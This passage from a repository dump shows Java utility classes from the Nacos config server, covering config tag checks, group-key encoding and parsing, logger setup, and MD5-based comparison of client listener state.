ObjectNode node = OBJECT_MAPPER.createObjectNode();\n        \n        if (StringUtils.isNotBlank(configAllInfo.getType())) {\n            node.put(\"type\", configAllInfo.getType());\n        }\n        if (StringUtils.isNotBlank(configAllInfo.getConfigTags())) {\n            node.put(\"config_tags\", configAllInfo.getConfigTags());\n        }\n        if (StringUtils.isNotBlank(configAllInfo.getEffect())) {\n            node.put(\"effect\", configAllInfo.getEffect());\n        }\n        if (StringUtils.isNotBlank(configAllInfo.getCreateUser())) {\n            node.put(\"src_user\", configAllInfo.getCreateUser());\n        }\n        if (StringUtils.isNotBlank(configAllInfo.getDesc())) {\n            node.put(\"c_desc\", configAllInfo.getDesc());\n        }\n        if (StringUtils.isNotBlank(configAllInfo.getUse())) {\n            node.put(\"c_use\", configAllInfo.getUse());\n        }\n        if (StringUtils.isNotBlank(configAllInfo.getSchema())) {\n            node.put(\"c_schema\", configAllInfo.getSchema());\n        }\n        \n        try {\n            return OBJECT_MAPPER.writeValueAsString(node);\n        } catch (Exception ex) {\n            LOGGER.error(\"Failed to get extra info from all config info\", ex);\n            return null;\n        }\n    }\n    \n    /**\n     * Extract the extInfo from gray config info.\n     */\n    public static String getExtInfoFromGrayInfo(String grayName, String grayRuleTmp, String oldSrcUser) {\n        ObjectNode node = OBJECT_MAPPER.createObjectNode();\n        ObjectNode grayRuleNode = OBJECT_MAPPER.createObjectNode();\n        \n        if (StringUtils.isNotBlank(grayName)) {\n            node.put(\"gray_name\", grayName);\n        }\n        \n        if (StringUtils.isNotBlank(oldSrcUser)) {\n            node.put(\"src_user\", oldSrcUser);\n        }\n        \n        if (StringUtils.isNotBlank(grayRuleTmp)) {\n            try {\n                JsonNode parsedGrayRuleNode = OBJECT_MAPPER.readTree(grayRuleTmp);\n                if (parsedGrayRuleNode.has(Constants.GRAY_RULE_TYPE)) {\n                    grayRuleNode.put(Constants.GRAY_RULE_TYPE,\n                            parsedGrayRuleNode.get(Constants.GRAY_RULE_TYPE).asText());\n                }\n                if (parsedGrayRuleNode.has(Constants.GRAY_RULE_EXPR)) {\n                    grayRuleNode.put(Constants.GRAY_RULE_EXPR,\n                            parsedGrayRuleNode.get(Constants.GRAY_RULE_EXPR).asText());\n                }\n                if (parsedGrayRuleNode.has(Constants.GRAY_RULE_VERSION)) {\n                    grayRuleNode.put(Constants.GRAY_RULE_VERSION,\n                            parsedGrayRuleNode.get(Constants.GRAY_RULE_VERSION).asText());\n                }\n                if (parsedGrayRuleNode.has(Constants.GRAY_RULE_PRIORITY)) {\n                    grayRuleNode.put(Constants.GRAY_RULE_PRIORITY,\n                            parsedGrayRuleNode.get(Constants.GRAY_RULE_PRIORITY).asText());\n                }\n                node.put(\"gray_rule\", grayRuleNode.toString());\n            } catch (Exception ex) {\n                LOGGER.error(\"Failed to parse gray rule as json\", ex);\n                return null;\n            }\n        }\n        \n        try {\n            return OBJECT_MAPPER.writeValueAsString(node);\n        } catch (Exception ex) {\n            LOGGER.error(\"Failed to serialize extra info from gray info\", ex);\n            return null;\n        }\n    }\n    \n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/ConfigTagUtil.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport java.util.Arrays;\n\n/**\n * Config Tag util.\n *\n * @author PoisonGravity\n */\npublic class ConfigTagUtil {\n    \n    public static final String VIRTUAL_SERVICE = \"virtual-service\";\n    \n    public static final String DESTINATION_RULE = \"destination-rule\";\n    \n    private static final String TAGS_DELIMITER = \",\";\n    \n    private static final String HYPHEN = \"-\";\n    \n    /**\n     * <p>Checks if config tags contains \"virtual-service\" or \"destination-rule\".</p>\n     * @param configTags the tags to check\n     * @return {@code true} if the config tags contains \"virtual-service\" or \"destination-rule\".\n     */\n    public static boolean isIstio(String configTags) {\n        if (configTags == null) {\n            return false;\n        }\n        if (configTags.isEmpty()) {\n            return false;\n        }\n        return Arrays.stream(configTags.split(TAGS_DELIMITER))\n                .map(tag -> tag.trim().replaceAll(HYPHEN, \"\"))\n                .anyMatch(tag -> tag.equalsIgnoreCase(VIRTUAL_SERVICE.replaceAll(HYPHEN, \"\"))\n                        || tag.equalsIgnoreCase(DESTINATION_RULE.replaceAll(HYPHEN, \"\")));\n    }\n    \n    /**\n     * <p>Gets the type of Istio from the config tags.</p>\n     * @param configTags the tags to check\n     * @return the type of Istio if it is found, {@code null} otherwise.\n     * @throws IllegalArgumentException if configTags is null.\n     */\n    public static String getIstioType(String configTags) {\n        if (configTags == null) {\n            throw new IllegalArgumentException(\"configTags cannot be null.\");\n        }\n    \n        if (configTags.isEmpty()) {\n            return null;\n        }\n    \n        return Arrays.stream(configTags.split(TAGS_DELIMITER))\n                .map(tag -> tag.trim().replaceAll(HYPHEN, \"\"))\n                .filter(tag -> tag.equalsIgnoreCase(VIRTUAL_SERVICE.replaceAll(HYPHEN, \"\"))\n                        || tag.equalsIgnoreCase(DESTINATION_RULE.replaceAll(HYPHEN, \"\")))\n                .findFirst()\n                .orElse(null);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/ContentUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.constant.Constants;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.WORD_SEPARATOR;\n\n/**\n * Content utils.\n *\n * @author Nacos\n */\npublic class ContentUtils {\n    \n    /**\n     * verify the pub config content.\n     *\n     * @param content content\n     */\n    public static void verifyIncrementPubContent(String content) {\n        if (content == null || content.length() == 0) {\n            throw new IllegalArgumentException(\"The content for publishing or deleting cannot be null!\");\n        }\n        for (int i = 0; i < content.length(); i++) {\n            char c = content.charAt(i);\n            if (c == '\\r' || c == '\\n') {\n                throw new IllegalArgumentException(\"The content for publishing or deleting cannot contain enter and next line symbol!\");\n            }\n            if (c == Constants.WORD_SEPARATOR.charAt(0)) {\n                throw new IllegalArgumentException(\"The content for publishing or deleting cannot contain (char)2!\");\n            }\n        }\n    }\n    \n    public static String getContentIdentity(String content) {\n        int index = content.indexOf(WORD_SEPARATOR);\n        if (index == -1) {\n            throw new IllegalArgumentException(\"The content does not contain separator!\");\n        }\n        return content.substring(0, index);\n    }\n    \n    public static String getContent(String content) {\n        int index = content.indexOf(WORD_SEPARATOR);\n        if (index == -1) {\n            throw new IllegalArgumentException(\"The content does not contain separator!\");\n        }\n        return content.substring(index + 1);\n    }\n    \n    /**\n     * Truncate the content.\n     *\n     * @param content content\n     * @return content after truncate.\n     */\n    public static String truncateContent(String content) {\n        if (content == null) {\n            return \"\";\n        } else if (content.length() <= LIMIT_CONTENT_SIZE) {\n            return content;\n        } else {\n            return content.substring(0, 100) + \"...\";\n        }\n    }\n    \n    private static final int LIMIT_CONTENT_SIZE = 100;\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/GroupKey.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Synthesize dataId+groupId form. Escape reserved characters in dataId and groupId.\n *\n * @author jiuRen\n */\npublic class GroupKey {\n    \n    public static String getKey(String dataId, String group) {\n        return doGetKey(dataId, group, \"\");\n    }\n    \n    public static String getKey(String dataId, String group, String datumStr) {\n        return doGetKey(dataId, group, datumStr);\n    }\n    \n    public static String getKeyTenant(String dataId, String group, String tenant) {\n        return doGetKey(dataId, group, tenant);\n    }\n    \n    private static String doGetKey(String dataId, String group, String datumStr) {\n        StringBuilder sb = new StringBuilder();\n        urlEncode(dataId, sb);\n        sb.append('+');\n        urlEncode(group, sb);\n        if (StringUtils.isNotEmpty(datumStr)) {\n            sb.append('+');\n            urlEncode(datumStr, sb);\n        }\n        \n        return sb.toString();\n    }\n    \n    /**\n     * Parse the group key.\n     */\n    public static String[] parseKey(String groupKey) {\n        StringBuilder sb = new StringBuilder();\n        String dataId = null;\n        String group = null;\n        String tenant = null;\n        \n        for (int i = 0; i < groupKey.length(); ++i) {\n            char c = groupKey.charAt(i);\n            if ('+' == c) {\n                if (null == dataId) {\n                    dataId = sb.toString();\n                    sb.setLength(0);\n                } else if (null == group) {\n                    group = sb.toString();\n                    sb.setLength(0);\n                } else {\n                    throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n                }\n            } else if ('%' == c) {\n                char next = groupKey.charAt(++i);\n                char nextnext = groupKey.charAt(++i);\n                if ('2' == next && 'B' == nextnext) {\n                    sb.append('+');\n                } else if ('2' == next && '5' == nextnext) {\n                    sb.append('%');\n                } else {\n                    throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n                }\n            } else {\n                sb.append(c);\n            }\n        }\n        \n        if (StringUtils.isBlank(group)) {\n            group = sb.toString();\n        } else {\n            tenant = sb.toString();\n        }\n        if (group.length() == 0) {\n            throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n        }\n    \n        return new String[] {dataId, group, tenant};\n    }\n    \n    /**\n     * + -> %2B % -> %25.\n     */\n    static void urlEncode(String str, StringBuilder sb) {\n        for (int idx = 0; idx < str.length(); ++idx) {\n            char c = str.charAt(idx);\n            if ('+' == c) {\n                sb.append(\"%2B\");\n            } else if ('%' == c) {\n                sb.append(\"%25\");\n            } else {\n                sb.append(c);\n            }\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/GroupKey2.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\n\n/**\n * Group key util.\n *\n * @author Nacos\n */\npublic class GroupKey2 {\n    \n    public static String getKey(String dataId, String group) {\n        StringBuilder sb = new StringBuilder();\n        urlEncode(dataId, sb);\n        sb.append('+');\n        urlEncode(group, sb);\n        return sb.toString();\n    }\n    \n    public static String getKey(String dataId, String group, String tenant) {\n        StringBuilder sb = new StringBuilder();\n        urlEncode(dataId, sb);\n        sb.append('+');\n        urlEncode(group, sb);\n        if (StringUtils.isNotEmpty(tenant)) {\n            sb.append('+');\n            urlEncode(tenant, sb);\n        }\n        return sb.toString();\n    }\n    \n    /**\n     * Parse the group key.\n     */\n    public static String[] parseKey(String groupKey) {\n        StringBuilder sb = new StringBuilder();\n        String dataId = null;\n        String group = null;\n        String tenant = null;\n        \n        for (int i = 0; i < groupKey.length(); ++i) {\n            char c = groupKey.charAt(i);\n            if ('+' == c) {\n                if (null == dataId) {\n                    dataId = sb.toString();\n                    sb.setLength(0);\n                } else if (null == group) {\n                    group = sb.toString();\n                    sb.setLength(0);\n                } else {\n                    throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n                }\n            } else if ('%' == c) {\n                char next = groupKey.charAt(++i);\n                char nextnext = groupKey.charAt(++i);\n                if ('2' == next && 'B' == nextnext) {\n                    sb.append('+');\n                } else if ('2' == next && '5' == nextnext) {\n                    sb.append('%');\n                } else {\n                    throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n                }\n            } else {\n                sb.append(c);\n            }\n        }\n        \n        if (StringUtils.isBlank(group)) {\n            group = sb.toString();\n        } else {\n            tenant = sb.toString();\n        }\n        if (group.length() == 0) {\n            throw new IllegalArgumentException(\"invalid groupkey:\" + groupKey);\n        }\n    \n        return new String[] {dataId, group, tenant};\n    }\n    \n    /**\n     * + -> %2B % -> %25.\n     */\n    static void urlEncode(String str, StringBuilder sb) {\n        for (int idx = 0; idx < str.length(); ++idx) {\n            char c = str.charAt(idx);\n            if ('+' == c) {\n                sb.append(\"%2B\");\n            } else if ('%' == c) {\n                sb.append(\"%25\");\n            } else {\n                sb.append(c);\n            }\n        }\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/LogUtil.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport ch.qos.logback.classic.Level;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\n/**\n * Log util.\n *\n * @author Nacos\n */\npublic class LogUtil {\n    \n    /**\n     * Default log.\n     */\n    public static final Logger DEFAULT_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.startLog\");\n    \n    /**\n     * Fatal error log, require alarm.\n     */\n    public static final Logger FATAL_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.fatal\");\n    \n    /**\n     * Http client log.\n     */\n    public static final Logger PULL_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.pullLog\");\n    \n    public static final Logger PULL_CHECK_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.pullCheckLog\");\n    \n    /**\n     * Dump log.\n     */\n    public static final Logger DUMP_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.dumpLog\");\n    \n    public static final Logger MEMORY_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.monitorLog\");\n    \n    public static final Logger CLIENT_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.clientLog\");\n    \n    public static final Logger TRACE_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.traceLog\");\n    \n    public static final Logger NOTIFY_LOG = LoggerFactory.getLogger(\"com.alibaba.nacos.config.notifyLog\");\n    \n    public static void setLogLevel(String logName, String level) {\n        \n        switch (logName) {\n            case \"config-server\":\n                ((ch.qos.logback.classic.Logger) DEFAULT_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-fatal\":\n                ((ch.qos.logback.classic.Logger) FATAL_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-pull\":\n                ((ch.qos.logback.classic.Logger) PULL_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-pull-check\":\n                ((ch.qos.logback.classic.Logger) PULL_CHECK_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-dump\":\n                ((ch.qos.logback.classic.Logger) DUMP_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-memory\":\n                ((ch.qos.logback.classic.Logger) MEMORY_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-client-request\":\n                ((ch.qos.logback.classic.Logger) CLIENT_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-trace\":\n                ((ch.qos.logback.classic.Logger) TRACE_LOG).setLevel(Level.valueOf(level));\n                break;\n            case \"config-notify\":\n                ((ch.qos.logback.classic.Logger) NOTIFY_LOG).setLevel(Level.valueOf(level));\n                break;\n            default:\n                break;\n        }\n        \n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/MD5Util.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.constant.Constants;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.core.utils.StringPool;\nimport com.alibaba.nacos.common.utils.StringUtils;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport java.io.CharArrayWriter;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.Reader;\nimport java.io.Writer;\nimport java.net.URLEncoder;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.config.server.constant.Constants.LINE_SEPARATOR;\nimport static com.alibaba.nacos.config.server.constant.Constants.WORD_SEPARATOR;\n\n/**\n * MD5 util.\n *\n * @author Nacos\n */\npublic class MD5Util {\n    \n    /**\n     * Compare Md5.\n     */\n    public static Map<String, ConfigListenState> compareMd5(HttpServletRequest request, HttpServletResponse response,\n            Map<String, ConfigListenState> clientMd5Map) {\n        return Md5ComparatorDelegate.getInstance().compareMd5(request, response, clientMd5Map);\n    }\n    \n    /**\n     * Compare old Md5.\n     */\n    public static String compareMd5OldResult(Map<String, ConfigListenState> changedGroupKeys) {\n        StringBuilder sb = new StringBuilder();\n        for (Map.Entry<String, ConfigListenState> entry : changedGroupKeys.entrySet()) {\n            String groupKey = entry.getKey();\n            String[] dataIdGroupId = GroupKey2.parseKey(groupKey);\n            sb.append(dataIdGroupId[0]);\n            sb.append(':');\n            sb.append(dataIdGroupId[1]);\n            sb.append(';');\n        }\n        return sb.toString();\n    }\n    \n    /**\n     * Join and encode changedGroupKeys string.\n     */\n    public static String compareMd5ResultString(Map<String, ConfigListenState> changedGroupKeys) throws IOException {\n        if (null == changedGroupKeys) {\n            return \"\";\n        }\n        \n        StringBuilder sb = new StringBuilder();\n        \n        for (Map.Entry<String, ConfigListenState> entry : changedGroupKeys.entrySet()) {\n            String groupKey = entry.getKey();\n            String[] dataIdGroupId = GroupKey2.parseKey(groupKey);\n            sb.append(dataIdGroupId[0]);\n            sb.append(WORD_SEPARATOR);\n            sb.append(dataIdGroupId[1]);\n            if (dataIdGroupId.length == 3) {\n                if (StringUtils.isNotBlank(dataIdGroupId[2]) && !entry.getValue().isNamespaceTransfer()) {\n                    sb.append(WORD_SEPARATOR);\n                    sb.append(dataIdGroupId[2]);\n                }\n            }\n            sb.append(LINE_SEPARATOR);\n        }\n        \n        // To encode WORD_SEPARATOR and LINE_SEPARATOR invisible characters, encoded value is %02 and %01\n        return URLEncoder.encode(sb.toString(), \"UTF-8\");\n    }\n    \n    /**\n     * Parse the transport protocol, which has two formats (W for field delimiter, L for each data delimiter) old: D w G\n     * w MD5 l new: D w G w MD5 w T l.\n     *\n     * @param configKeysString protocol\n     * @return protocol message\n     */\n    public static Map<String, ConfigListenState> getClientMd5Map(String configKeysString) {\n        \n        Map<String, ConfigListenState> md5Map = new HashMap<>(5);\n        \n        if (null == configKeysString || \"\".equals(configKeysString)) {\n            return md5Map;\n        }\n        int start = 0;\n        List<String> tmpList = new ArrayList<>(3);\n        for (int i = start; i < configKeysString.length(); i++) {\n            char c = configKeysString.charAt(i);\n            if (c == WORD_SEPARATOR_CHAR) {\n                tmpList.add(configKeysString.substring(start, i));\n                start = i + 1;\n                if (tmpList.size() > 3) {\n                    // Malformed message and return parameter error.\n                    throw new IllegalArgumentException(\"invalid protocol,too much key\");\n                }\n            } else if (c == LINE_SEPARATOR_CHAR) {\n                String endValue = \"\";\n                if (start + 1 <= i) {\n                    endValue = configKeysString.substring(start, i);\n                }\n                start = i + 1;\n                \n                String tenant;\n                String md5;\n                boolean ifNamespaceTransfer;\n                // If it is the old message, the last digit is MD5. The post-multi-tenant message is tenant\n                if (tmpList.size() == 2) {\n                    tenant = \"\";\n                    md5 = endValue;\n                    ifNamespaceTransfer = NamespaceUtil.isNeedTransferNamespace(tenant);\n                    tenant = NamespaceUtil.processNamespaceParameter(tenant);\n                } else {\n                    tenant = endValue;\n                    md5 = tmpList.get(2);\n                    ifNamespaceTransfer = NamespaceUtil.isNeedTransferNamespace(tenant);\n                    tenant = NamespaceUtil.processNamespaceParameter(tenant);\n                }\n                ConfigListenState configListenState = new ConfigListenState(md5);\n                configListenState.setNamespaceTransfer(ifNamespaceTransfer);\n                \n                String groupKey = GroupKey2.getKey(tmpList.get(0), tmpList.get(1), tenant);\n                groupKey = StringPool.get(groupKey);\n                md5Map.put(groupKey, configListenState);\n                \n                tmpList.clear();\n                \n                // Protect malformed messages\n                if (md5Map.size() > 10000) {\n                    throw new IllegalArgumentException(\"invalid protocol, too much listener\");\n                }\n            }\n        }\n        return md5Map;\n    }\n    \n    public static String toString(InputStream input, String encoding) throws IOException {\n        return (null == encoding) ? toString(new InputStreamReader(input, Constants.ENCODE))\n                : toString(new InputStreamReader(input, encoding));\n    }\n    \n    /**\n     * Reader to String.\n     */\n    public static String toString(Reader reader) throws IOException {\n        CharArrayWriter sw = new CharArrayWriter();\n        copy(reader, sw);\n        return sw.toString();\n    }\n    \n    /**\n     * Copy data to buffer.\n     */\n    public static long copy(Reader input, Writer output) throws IOException {\n        char[] buffer = new char[1024];\n        long count = 0;\n        for (int n = 0; (n = input.read(buffer)) >= 0; ) {\n            output.write(buffer, 0, n);\n            count += n;\n        }\n        return count;\n    }\n    \n    static final char WORD_SEPARATOR_CHAR = (char) 2;\n    \n    static final char LINE_SEPARATOR_CHAR = (char) 1;\n    \n}\n\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/Md5Comparator.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\n\nimport java.util.Map;\n\n/**\n * The interface Md5 comparator.\n *\n * @author Sunrisea\n */\npublic interface Md5Comparator {\n    \n    /**\n     * Gets md 5 comparator name.\n     *\n     * @return the md 5 comparator name\n     */\n    public String getName();\n    \n    /**\n     * Compare md 5 list.\n     *\n     * @param request      the request\n     * @param response     the response\n     * @param clientMd5Map the client md 5 map\n     * @return the list\n     */\n    public Map<String, ConfigListenState> compareMd5(HttpServletRequest request, HttpServletResponse response,\n            Map<String, ConfigListenState> clientMd5Map);\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/Md5ComparatorDelegate.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.common.spi.NacosServiceLoader;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.util.Collection;\nimport java.util.Map;\n\n/**\n * The type Md5 comparator delegate.\n *\n * @author Sunrisea\n */\npublic class Md5ComparatorDelegate {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(Md5ComparatorDelegate.class);\n    \n    private static final Md5ComparatorDelegate INSTANCE = new Md5ComparatorDelegate();\n    \n    private String md5ComparatorType = EnvUtil.getProperty(\"nacos.config.cache.type\", \"nacos\");\n    \n    private Md5Comparator md5Comparator;\n    \n    private Md5ComparatorDelegate() {\n        Collection<Md5Comparator> md5Comparators = NacosServiceLoader.load(Md5Comparator.class);\n        for (Md5Comparator each : md5Comparators) {\n            if (StringUtils.isEmpty(each.getName())) {\n                LOGGER.warn(\n                        \"[Md5ComparatorDelegate] Load Md5Comparator({}) Md5ComparatorName(null/empty) fail. Please add Md5ComparatorName to resolve\",\n                        each.getClass().getName());\n                continue;\n            }\n            LOGGER.info(\"[Md5ComparatorDelegate] Load Md5Comparator({}) Md5ComparatorName({}) successfully.\",\n                    each.getClass().getName(), each.getName());\n            if (StringUtils.equals(md5ComparatorType, each.getName())) {\n                LOGGER.info(\"[Md5ComparatorDelegate] Matched Md5Comparator found,set md5Comparator={}\",\n                        each.getClass().getName());\n                md5Comparator = each;\n            }\n        }\n        if (md5Comparator == null) {\n            LOGGER.info(\n                    \"[Md5ComparatorDelegate] Matched Md5Comparator not found, load Default NacosMd5Comparator successfully\");\n            md5Comparator = new NacosMd5Comparator();\n        }\n    }\n    \n    public static Md5ComparatorDelegate getInstance() {\n        return INSTANCE;\n    }\n    \n    public Map<String, ConfigListenState> compareMd5(HttpServletRequest request, HttpServletResponse response,\n            Map<String, ConfigListenState> clientMd5Map) {\n        return md5Comparator.compareMd5(request, response, clientMd5Map);\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/NacosMd5Comparator.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.utils;\n\nimport com.alibaba.nacos.config.server.model.ConfigListenState;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport jakarta.servlet.http.HttpServletRequest;\nimport jakarta.servlet.http.HttpServletResponse;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\n\n/**\n * The type Nacos md5 comparator.\n *\n * @author Sunrisea\n */\npublic class NacosMd5Comparator implements Md5Comparator {\n    \n    @Override\n    public String getName() {\n        return \"nacos\";\n    }\n    \n    @Override\n    public Map<String, ConfigListenState> compareMd5(HttpServletRequest request, HttpServletResponse response,\n            Map<String, ConfigListenState> clientMd5Map) {\n        HashMap<String, ConfigListenState> changedGroupKeys = new HashMap<>(clientMd5Map.size());\n        String tag = request.getHeader(VIPSERVER_TAG);\n        for (Map.Entry<String, ConfigListenState> entry : clientMd5Map.entrySet()) {\n            String groupKey = entry.getKey();\n            String clientMd5 = entry.getValue().getMd5();\n            String ip = RequestUtil.getRemoteIp(request);\n            boolean isUptodate = ConfigCacheService.isUptodate(groupKey, clientMd5, ip, tag);\n            if (!isUptodate) {\n                changedGroupKeys.put(entry.getKey(), entry.getValue());\n            }\n        }\n        return changedGroupKeys;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/utils/ParamUtils.java",
